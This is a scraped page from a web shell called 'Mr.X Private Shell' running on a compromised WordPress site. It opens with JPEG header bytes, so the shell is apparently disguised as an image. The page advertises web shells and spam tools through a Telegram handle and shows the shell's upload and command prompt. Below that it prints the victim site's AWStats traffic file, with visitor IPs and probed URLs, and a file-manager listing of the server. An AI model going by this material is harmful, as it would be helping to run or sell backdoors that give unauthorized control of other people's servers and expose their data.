����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

afiencwd@216.73.216.172: ~ $
AWSTATS DATA FILE 7.8 (build 20200416)
# If you remove this file, all statistics for date 202405 will be lost/reset.
# Last config file used to build this data file was /home/afiencwd/tmp/awstats/awstats.afie-international.com.conf.

# Position (offset in bytes) in this file for beginning of each section for
# direct I/O access. If you made changes somewhere in this file, you should
# also remove completely the MAP section (AWStats will rewrite it at next
# update).
BEGIN_MAP 28
POS_GENERAL 2019                
POS_TIME 2698                
POS_VISITOR 8881                
POS_DAY 11592               
POS_DOMAIN 3453                
POS_LOGIN 3949                
POS_ROBOT 4104                
POS_WORMS 4489                
POS_EMAILSENDER 4620                
POS_EMAILRECEIVER 4763                
POS_SESSION 11802               
POS_SIDER 12008               
POS_FILETYPES 4898                
POS_DOWNLOADS 5229                
POS_OS 5657                
POS_BROWSER 5951                
POS_SCREENSIZE 6915                
POS_UNKNOWNREFERER 6989                
POS_UNKNOWNREFERERBROWSER 7337                
POS_ORIGIN 7592                
POS_SEREFERRALS 7730                
POS_PAGEREFS 7893                
POS_SEARCHWORDS 8064                
POS_KEYWORDS 8216                
POS_MISC 2362                
POS_ERRORS 8275                
POS_CLUSTER 3805                
POS_SIDER_404 8418                
END_MAP

# LastLine    = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value
# FirstTime   = Date of first visit for history file
# LastTime    = Date of last visit for history file
# LastUpdate  = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped
# TotalVisits = Number of visits
# TotalUnique = Number of unique visitors
# MonthHostsKnown   = Number of hosts known
# MonthHostsUnKnown = Number of hosts unknown
BEGIN_GENERAL 8
LastLine 20240601011950 70 11200 10343752868097
FirstTime 20240514090552
LastTime 20240518141125
LastUpdate 20240601085617 70 0 69 0 0
TotalVisits 100                 
TotalUnique 57                  
MonthHostsKnown 0                   
MonthHostsUnknown 74                  
END_GENERAL

# Misc ID - Pages - Hits - Bandwidth
BEGIN_MISC 10
PDFSupport 0 0 0
TotalMisc 0 0 0
RealPlayerSupport 0 0 0
QuickTimeSupport 0 0 0
WindowsMediaPlayerSupport 0 0 0
JavaEnabled 0 0 0
FlashSupport 0 0 0
DirectorSupport 0 0 0
AddToFavourites 0 2 0
JavascriptDisabled 0 0 0
END_MISC

# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth
BEGIN_TIME 24
0 6 13 278111 37 38 32892
1 14 20 279737 44 44 35874
2 29 50 868270 33 37 35008
3 6 6 4618 7 7 5565
4 11 16 11854 126 132 103344
5 9 15 276530 16 17 13515
6 6 8 5400 11 13 9431
7 3 3 813 13 13 10335
8 13 20 293694 21 26 20670
9 136 302 42668316 46 49 349531
10 16 19 106848 23 24 19077
11 8 9 5431 4 5 3975
12 3 3 21 12 13 10782
13 73 222 6311623 41 47 33619
14 65 84 594141 120 127 94218
15 5 6 3122 13 17 13515
16 5 9 10295 14 15 10335
17 7 10 14991 21 26 20667
18 15 15 12210 39 45 35775
19 1 2 11848 50 52 42681
20 16 21 283521 115 116 94902
21 16 18 14625 55 62 49290
22 28 33 291596 35 36 29067
23 9 19 547820 89 91 74580
END_TIME

# Domain - Pages - Hits - Bandwidth
# The 25 first Pages must be first (order not required for others)
BEGIN_DOMAIN 21
ca 214 219 405785
pk 168 484 32634811
us 51 117 2922098
nl 19 19 16544
gb 9 21 27924
cn 6 6 4646
ao 5 11 279103
bg 5 5 3960
de 4 5 11440
in 4 6 13728
jp 3 3 2376
my 3 9 277519
ru 2 5 9944
ro 2 2 4576
gr 2 2 3080
bh 1 1 792
pa 1 3 19912
se 1 1 792
rs 0 1 2288
al 0 1 13715
hk 0 2 4576
END_DOMAIN

# Cluster ID - Pages - Hits - Bandwidth
BEGIN_CLUSTER 0
END_CLUSTER

# Login - Pages - Hits - Bandwidth - Last visit
# The 10 first Pages must be first (order not required for others)
BEGIN_LOGIN 0
END_LOGIN

# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt
# The 25 first Hits must be first (order not required for others)
BEGIN_ROBOT 7
Go\-http\-client/ 24 18692 20240518140803 0
no_user_agent 16 11682 20240518140837 0
bot[\s_+:,\.\;\/\\-] 3 2376 20240518104433 3
curl 3 0 20240518140812 0
Googlebot/ 2 2708 20240517022711 0
unknown 2 1478 20240516064338 2
CCBot/ 2 1372 20240515132719 1
END_ROBOT

# Worm ID - Hits - Bandwidth - Last visit
# The 5 first Hits must be first (order not required for others)
BEGIN_WORMS 0
END_WORMS

# EMail - Hits - Bandwidth - Last visit
# The 20 first Hits must be first (order not required for others)
BEGIN_EMAILSENDER 0
END_EMAILSENDER

# EMail - Hits - Bandwidth - Last visit
# The 20 first hits must be first (order not required for others)
BEGIN_EMAILRECEIVER 0
END_EMAILRECEIVER

# Files type - Hits - Bandwidth - Bandwidth without compression - Bandwidth after compression
BEGIN_FILETYPES 15
css 123 979827 0 0
ttf 1 1840 0 0
Unknown 78 1288990 0 0
png 37 5973125 0 0
json 4 3168 0 0
gif 5 41444 0 0
html 97 543140 0 0
js 232 3850507 0 0
php 279 2537022 0 0
jpg 3 442932 0 0
woff2 38 4718020 0 0
txt 11 24740 0 0
svg 12 7588 0 0
woff 2 11440 0 0
xml 1 0 0 0
END_FILETYPES

# Downloads - Hits - Bandwidth
BEGIN_DOWNLOADS 6
/ads.txt 4 0 3062
/app-ads.txt 3 0 2376
/.well-known/pki-validation/C5915FC8F5BB1E3BB8BFB961F678BE41.txt 2 0 182
/wp-content/plugins/litespeed-cache/readme.txt 2 0 19120
/wp-content/plugins/give/assets/dist/images/admin/promotions/welcome-banner/event-tickets.mp4 0 2 6574579
/wp-content/plugins/give/assets/dist/images/admin/promotions/welcome-banner/design-mode.mp4 0 4 9661247
END_DOWNLOADS

# OS ID - Hits
BEGIN_OS ID - Hits - Pages 16
androidpie 1 0
androidnougat 8 5
android10 1 0
win8 2 0
ios_ipad 1 1
win10 568 202
macosx15 4 4
win7 18 18
winxp 2 1
linux 66 21
win8.1 25 21
androidmarshmallow 2 2
winlong 3 3
androidlollipop 1 0
Unknown 219 214
ios_iphone 8 8
END_OS

# Browser ID - Hits - Pages
BEGIN_BROWSER 44
chrome73.0.3683.90 1 0
chrome84.0.4147.111 1 0
chrome63.0.2312.126 17 17
netscape5.0 2 2
safari13.0.3 8 8
chrome122.0.0.0 12 4
firefox77.0 1 1
chrome124.0.0.0 522 181
Unknown 217 212
chrome89.0.4389.90 1 0
msie11.0 7 3
chrome68.0.3334.166 17 17
chrome120.0.0.0 2 1
chrome84.0.4143.7 2 0
mozilla 1 1
chrome83.0.4103.106 1 0
chrome65.0.3152.119 2 2
chrome103.0.0.0 1 1
netscape 2 2
chrome81.0.4044.138 1 0
chrome104.0.0.0 1 1
chrome108.0.0.0 1 1
msie6.0 1 1
chrome119.0.0.0 56 16
chrome90.0.4430.212 1 0
chrome85.0.4183.102 1 1
chrome69.0.3497.81 1 0
chrome90.0.4430.93 1 0
chrome117.0.5938.132 7 2
chrome103.0.5042.0 1 1
firefox122.0 8 8
chrome106.0.0.0 4 1
chrome84.0.4147.135 2 0
chrome92.0.4515.159 7 2
safari11.0 1 1
firefox45.0 1 0
chrome60.0.3112.107 6 5
chrome88.0.4324.104 1 0
chrome121.0.0.0 3 3
chrome52.0.2717.98 2 2
chrome79.0.3945.130 2 0
chrome58.0.1145.75 1 1
firefox123 1 1
chrome51.0.2704.103 1 1
END_BROWSER

# Screen size - Hits
BEGIN_SCREENSIZE 0
END_SCREENSIZE

# Unknown referer OS - Last visit date
BEGIN_UNKNOWNREFERER 6
Mozilla/5.0_(l9scan/2.0.035323e2233323e203e2236313;__https://leakix.net) 20240518140800
Softaculous 20240515184925
ALittle_Client 20240517210112
Sectigo_DCV 20240518140646
WordPress/6.5.3;_http://afie-international.com 20240518141126
Searcherweb 20240516190425
END_UNKNOWNREFERER

# Unknown referer Browser - Last visit date
BEGIN_UNKNOWNREFERERBROWSER 5
Sectigo_DCV 20240518140646
Softaculous 20240515184925
WordPress/6.5.3;_http://afie-international.com 20240518141126
Searcherweb 20240516190425
ALittle_Client 20240517210112
END_UNKNOWNREFERERBROWSER

# Origin - Pages - Hits 
BEGIN_ORIGIN 6
From0 335 377
From1 5 6
From2 0 1
From3 3 6
From4 157 539
From5 0 0
END_ORIGIN

# Search engine referers ID - Pages - Hits
BEGIN_SEREFERRALS 1
www_google_com 0 1
END_SEREFERRALS

# External page referers - Pages - Hits
# The 25 first Pages must be first (order not required for others)
BEGIN_PAGEREFS 1
https://sucuri.net 3 6
END_PAGEREFS

# Search keyphrases - Number of search
# The 10 first number of search must be first (order not required for others)
BEGIN_SEARCHWORDS 0
END_SEARCHWORDS

# Search keywords - Number of search
# The 25 first number of search must be first (order not required for others)
BEGIN_KEYWORDS 0
END_KEYWORDS

# Errors - Hits - Bandwidth
BEGIN_ERRORS 5
404 2 69473
302 10 51597
201 10 205406
301 937 742530
403 32 39744
END_ERRORS

# URL with 404 errors - Hits - Last URL referrer
BEGIN_SIDER_404 2
/wp-content/themes/extendable/assets/fonts/Koulen/manrope_wght.woff2 1 -
/wp-content/themes/extendable/assets/fonts/baloo-tamma-2/baloo-tamma-2.woff2 1 -
END_SIDER_404

# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]
# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished
# The 25 first Hits must be first (order not required for others)
BEGIN_VISITOR 74
162.0.232.250 211 211 130004 20240518141126
39.58.242.61 164 475 32083799 20240518141125
139.162.38.177 18 18 14256 20240518103925
146.190.39.174 17 17 13464 20240514140205
154.192.46.9 5 11 279103 20240517120550
54.175.217.100 4 8 38954 20240517022711
110.39.81.15 4 15 551012 20240518134051
103.212.98.210 4 4 9152 20240517205303
194.38.23.16 4 5 11440 20240517210110
211.25.3.117 3 9 277519 20240517023019
35.203.251.0 2 7 273493 20240516235127
51.158.205.64 2 5 7194 20240518140828
51.222.44.188 2 2 1584 20240517141924
107.178.231.130 2 7 273493 20240518051816
35.203.251.35 2 7 273493 20240517020807
35.203.255.236 2 7 273493 20240515224001
51.158.37.210 2 5 7194 20240517043447
107.178.206.216 2 7 273493 20240514203002
35.203.251.32 2 7 273493 20240518013209
91.92.242.199 2 2 1584 20240514104105
65.154.226.167 2 7 273493 20240518140755
91.92.241.45 2 2 1584 20240516014933
178.128.207.138 2 2 3080 20240518140800
35.203.248.165 2 7 273493 20240516001854
51.158.37.195 2 5 7194 20240517165452
104.197.69.115 1 3 187373 20240518140755
92.53.96.101 0 1 2288 
180.110.203.108 1 1 792 20240516020244
138.197.108.220 1 1 792 20240518082146
198.12.244.120 0 1 2288 
62.122.184.194 1 1 2288 20240515035002
46.101.226.154 1 1 2288 20240514225113
182.42.111.213 1 1 792 20240517165452
208.109.75.135 0 1 2288 
65.154.226.171 1 2 8541 20240518140846
43.135.166.178 1 1 792 20240515140914
162.215.248.190 0 1 2288 
45.94.31.202 0 1 98978 
91.92.252.169 1 1 792 20240514214358
124.225.164.130 1 1 792 20240516145507
5.133.192.173 1 1 792 20240515173051
92.53.96.113 0 1 2288 
91.199.212.132 0 2 182 
54.153.81.3 1 1 792 20240517202720
49.7.227.204 1 1 792 20240514150955
114.96.103.33 1 1 792 20240518073654
34.123.170.104 0 1 465 
72.167.206.187 0 2 4576 
31.171.152.182 0 1 13715 
185.205.246.163 1 1 792 20240516233307
103.150.60.179 0 2 4576 
193.188.20.137 1 1 792 20240516085030
43.163.0.99 1 1 792 20240515023620
103.59.44.8 0 2 4576 
81.181.56.68 1 1 2288 20240516112718
46.250.233.72 0 1 2288 
143.198.159.57 1 1 792 20240516105449
185.146.2.236 0 1 2288 
192.99.57.46 1 1 2288 20240518031923
65.154.226.169 0 2 1211 
179.43.191.18 1 3 19912 20240515143333
206.81.23.163 0 2 4576 
104.131.33.138 1 1 686 20240515181034
35.213.253.82 2 3 3070 20240516064339
34.72.176.129 1 3 85655 20240518140757
134.209.212.137 1 1 792 20240514095930
207.102.138.19 2 7 273493 20240517022709
43.155.166.202 1 1 792 20240517021009
64.226.65.160 2 2 3080 20240518140800
35.203.251.40 2 7 273493 20240514230759
114.119.191.138 1 1 686 20240518054432
176.111.174.153 1 1 2288 20240517012534
51.77.34.4 1 1 2288 20240516223550
109.106.251.219 0 1 2288 
END_VISITOR

# Date - Pages - Hits - Bandwidth - Visits
BEGIN_DAY 6
20240514 185 364 43340295 17
20240515 50 63 586125 18
20240516 51 70 588397 20
20240517 80 109 916991 23
20240518 134 316 7449912 22
20240524 0 1 13715 0
END_DAY

# Session range - Number of visits
BEGIN_SESSION 7
30s-2mn 1
15mn-30mn 5
30mn-1h 9
2mn-5mn 1
1h+ 5
5mn-15mn 5
0s-30s 74
END_SESSION

# URL - Pages - Bandwidth - Entry - Exit
# The 25 first Pages must be first (order not required for others)
BEGIN_SIDER 106
/wp-admin/admin-ajax.php 117 601917 0 34
/wp-cron.php 111 0 37 3
/ 56 216506 43 24
/wp-json/extendify/v1/shared/user-selections-data 24 1127508 0 0
/wp-content/plugins/under-construction-page/themes/fonts/fontawesome-webfont.woff2 16 1234560 1 13
/wp-json/extendify/v1/launch/ping 13 52 0 0
/wp-json/extendify/v1/launch/options 13 265 0 0
/wp-admin/load-scripts.php 9 342721 0 0
/wp-admin/load-styles.php 5 767696 0 0
/wp-admin/admin.php 4 184830 1 0
/wp-admin/themes.php 4 225097 0 0
/sellers.json 3 2376 0 3
/wp-login.php 3 5889 0 2
/wp-admin/plugin-install.php 3 164478 0 0
/blog/ 3 2376 1 0
/wp/ 2 1584 0 0
/tmp/ 2 1584 0 0
/demo/ 2 1584 0 0
/cms/ 2 1584 0 0
/test/ 2 1584 0 0
/home/ 2 1584 0 0
/_all_dbs 2 1584 0 2
/backup/ 2 1584 0 0
/simple.php 2 1584 2 0
/wp-json/wp/v2/users/me 2 5605 0 0
/wp-json/wp/v2/types 1 4795 0 0
/wp-json/extendify/v1/launch/goals 1 1997 0 0
/wp-content/themes/extendable/assets/fonts/marcellus/marcellus_wght.woff2 1 18408 0 0
/wp-content/themes/extendable/assets/fonts/Inconsolata/Inconsolata-VariableFont_wdth,wght.woff2 1 150244 0 0
/wp-json/give-api/v2/reports/total-refunds 1 835 0 0
/wp-json/extendify/v1/launch/prefetch-assist-data 1 4 0 0
/assets/plugins/jqueryfileupload/server/php/index.php 1 2288 1 0
/wp-content/themes/extendable/assets/fonts/Karla/Karla-VariableFont_wght.woff2 1 41624 0 0
/wp-content/plugins/yjywycyw/yjywycyw.php 1 2288 1 1
/wp-json/extendify/v1/assist/router-data 1 155 0 0
/wp-content/themes/extendable/assets/fonts/Arsenal/Arsenal-Bold.woff2 1 55020 0 0
/assets/jqueryfileupload/server/php/index.php 1 2288 0 1
/wp-content/themes/twentystd/ 1 792 1 0
/wp-content/themes/extendable/assets/fonts/ibm-plex-sans/IBMPlexSans-Medium.woff2 1 63940 0 0
/wp-content/plugins/wp-automatic/changelog 1 792 1 1
/wp-json/wp/v2/template-parts 1 76974 0 0
/wp-json/extendify/v1/launch/create-navigation 1 24 0 0
/afie-school-of-tomorrow/ 1 686 1 1
/wp-content/themes/extendable/assets/fonts/Heebo/Heebo-VariableFont_wght.woff2 1 63808 0 0
/wp-json/wp/v2/ 1 192038 0 0
/wp-content/plugins/litespeed-cache/assets/css/fonts/litespeedfont.ttf 1 1840 0 0
/check_charset.php 1 77 1 0
/wp-content/themes/extendable/assets/fonts/Geom/Geom-Variable.woff2 1 39160 0 0
/wp-content/themes/extendable/assets/fonts/Rubik/Rubik-VariableFont_wght.woff2 1 76868 0 0
/wp-content/themes/extendable/assets/fonts/NotoSerifDisplay/NotoSerifDisplay-VariableFont_wdth,wght.woff2 1 722904 0 0
/wp-content/themes/extendable/assets/fonts/gotu/gotu-regular.woff2 1 188260 0 0
/wp-json/wp/v2/template-parts/extendable/footer 1 3049 0 0
/wp-content/themes/extendable/assets/fonts/Jost/Jost-VariableFont_wght.woff2 1 50396 0 0
/wp-content/themes/extendable/assets/fonts/ibm-plex-sans/IBMPlexSans-Regular.woff2 1 60172 0 0
/portal/ 2 1584 0 0
/index.php 2 4576 2 2
/services/ 1 43044 0 0
/wp-admin/plugins.php 2 107825 0 1
/wp-content/themes/extendable/assets/fonts/inter/InterVariable.woff2 1 326108 0 0
/modules/mod_simplefileuploadv1.3/helper.php 2 4576 1 1
/wp-json/wp/v2/themes 1 2628 0 0
/wp-json/give-api/v2/reports/total-income 1 790 0 0
/new/ 2 1584 0 0
/wp-json/give-api/v2/reports/average-donation 1 846 0 0
/wp-json/wp/v2/global-styles/themes/extendable/variations 1 44200 0 0
/feed/ 1 91 0 0
/404testpage4525d2fdc 1 792 1 0
/wp-content/themes/extendable/assets/fonts/SpaceMono/SpaceMono-Bold.woff2 1 32096 0 0
/wp-admin/ 1 62826 0 0
/wp-json/wp/v2/settings 2 5049 0 0
/wp-json/wp/v2/template-parts/extendable/header 2 5103 0 0
/.well-known/autoconfig/mail/config-v1.1.xml 1 0 0 1
/wp-content/themes/twentystd/index.php 1 792 0 1
/wp-content/themes/extendable/assets/fonts/Arsenal/Arsenal-Regular.woff2 1 53696 0 0
/softtest_buzhsv7p/soft 1 20 0 0
//wp-content/plugins/fix/up.php 1 792 1 1
/about/ 1 792 0 0
/site/ 2 1584 0 0
/wp-json/give-api/v2/reports/total-donors 1 827 0 0
/wp-json/ 1 229 0 0
/wp-content/themes/extendable/assets/fonts/SpaceMono/SpaceMono-Regular.woff2 1 32336 0 0
/wp-content/themes/extendable/assets/fonts/RadioCanada/RadioCanada-VariableFont_wdth,wght.woff2 1 82924 0 0
/wp-content/plugins/give/assets/dist/fonts/icomoon.woff 2 11440 0 0
/plugins/jqueryfileupload/server/php/index.php 1 2288 0 1
/wp-content/themes/extendable/assets/fonts/Mulish/Mulish-VariableFont_wght.woff2 1 77172 0 0
/wordpress/ 2 1584 0 0
/wp-content/themes/extendable/assets/fonts/SourceSerif4/SourceSerif4-VariableFont_opsz,wght.woff2 1 424172 0 0
/wp-json/wp/v2/global-styles/5 1 3183 0 0
/wp-admin/edit.php 1 52856 0 0
/wp-ver.php 1 792 1 1
/wp-admin/theme-install.php 1 52924 0 0
/plugins/content/apismtp/apismtp.php 1 2288 1 0
/wp-json/extendify/v1/launch/suggested-plugins 1 1110 0 0
/wp-content/themes/extendable/assets/fonts/RobotoFlex/RobotoFlex-VariableFont_GRAD,XTRA,YOPQ,YTAS,YTDE,YTFI,YTLC,YTUC,opsz,slnt,wdth,wght.woff2 1 728620 0 0
/web/ 2 1584 0 2
/old/ 2 1584 0 0
/.vscode/sftp.json 1 792 1 1
/wp-json/extendify/v1/launch/active-plugins 1 108 0 0
/modules/mod_dionefileuploader/upload.php 1 2288 1 0
/wp-content/themes/extendable/assets/fonts/Montserrat/Montserrat-VariableFont_wght.woff2 1 124924 0 0
/wp-content/plugins/wp-ver.php 2 1584 0 2
/wp-json/give-api/v2/reports/income 1 695 0 0
/dev/ 2 1584 0 0
/plugins/content/apismtp/josmtpapi.php 1 2288 0 1
/wp-content/themes/extendable/assets/fonts/Oswald/Oswald-VariableFont_wght.woff2 1 70608 0 0
/main/ 2 1584 0 0
END_SIDER

Filemanager

Name Type Size Permission Actions
ssl Folder 0700
awstats.afie-international.com.conf File 23.23 KB 0644
awstats012025.afie-international.com.txt File 6.21 KB 0644
awstats012026.afie-international.com.txt File 6.36 KB 0644
awstats022025.afie-international.com.txt File 6.14 KB 0644
awstats022026.afie-international.com.txt File 6.29 KB 0644
awstats032025.afie-international.com.txt File 6.17 KB 0644
awstats032026.afie-international.com.txt File 6.62 KB 0644
awstats042025.afie-international.com.txt File 6.33 KB 0644
awstats042026.afie-international.com.txt File 6.52 KB 0644
awstats052024.afie-international.com.txt File 16.95 KB 0644
awstats052025.afie-international.com.txt File 6.16 KB 0644
awstats052026.afie-international.com.txt File 6.29 KB 0644
awstats062024.afie-international.com.txt File 6.21 KB 0644
awstats062025.afie-international.com.txt File 6.37 KB 0644
awstats062026.afie-international.com.txt File 6.27 KB 0644
awstats072024.afie-international.com.txt File 6 KB 0644
awstats072025.afie-international.com.txt File 6.36 KB 0644
awstats072026.afie-international.com.txt File 5.97 KB 0644
awstats082024.afie-international.com.txt File 5.98 KB 0644
awstats082025.afie-international.com.txt File 6.24 KB 0644
awstats092024.afie-international.com.txt File 6.8 KB 0644
awstats092025.afie-international.com.txt File 6.48 KB 0644
awstats102024.afie-international.com.txt File 6.7 KB 0644
awstats102025.afie-international.com.txt File 6.84 KB 0644
awstats112024.afie-international.com.txt File 6.01 KB 0644
awstats112025.afie-international.com.txt File 6.22 KB 0644
awstats122024.afie-international.com.txt File 6.34 KB 0644
awstats122025.afie-international.com.txt File 6.21 KB 0644